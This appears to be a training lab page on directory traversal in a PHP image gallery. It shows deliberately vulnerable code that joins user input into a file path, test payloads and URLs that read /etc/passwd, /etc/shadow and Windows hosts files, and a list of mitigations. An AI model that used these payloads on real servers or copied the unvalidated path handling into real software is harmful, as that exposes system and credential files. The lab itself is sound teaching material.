Lab 2: Image Gallery Traversal

Directory Traversal in image gallery functionality

Difficulty: Medium

Lab Overview

This lab demonstrates a directory traversal vulnerability in an image gallery system. The application constructs image paths by concatenating user input without proper validation, allowing access to files outside the intended directory.

Objective: Access files outside the images directory using directory traversal sequences to view system files or sensitive data.

Vulnerable PHP Code 
// Handle image display request
if (isset($_GET['image'])) {
    $image = $_GET['image'];
    
    // Vulnerable: No validation of image path
    $image_path = 'images/' . $image;
    
    if (file_exists($image_path) && is_file($image_path)) {
        // Display image
        echo '<img src="' . $image_path . '">';
    } else {
        // Error: Image not found
    }
}

// Example vulnerable usage:
// ?image=photo1.jpg
// ?image=../../../etc/passwd
// ?image=..\..\..\windows\system32\drivers\etc\hosts
Image Gallery Demo
Image not found: images/../../../etc/hosts
Available Images:

No images available in the images directory.

Vulnerability Details
  • Type: Directory Traversal in Image Gallery
  • Severity: High
  • Parameter: image
  • Method: GET
  • Issue: Image path construction without validation
Test Payloads

Try these payloads in the image parameter:

  • ../../../etc/passwd - Linux system file
  • ..\..\..\windows\system32\drivers\etc\hosts - Windows system file
  • ../../../etc/hosts - Linux hosts file
  • ../../../proc/version - Linux system info
  • ../../../etc/shadow - Linux password file

Example URLs:

  • 2.php?image=../../../etc/passwd
  • 2.php?image=..\..\..\windows\system32\drivers\etc\hosts
Quick Test URLs

Click these links to test the vulnerability:

Real-World Attack Scenarios
Mitigation Strategies
  • Validate and sanitize all image path inputs
  • Use whitelist-based file access controls
  • Implement proper path normalization
  • Use basename() to extract filename only
  • Implement file type validation
  • Use absolute paths with proper validation
  • Implement proper error handling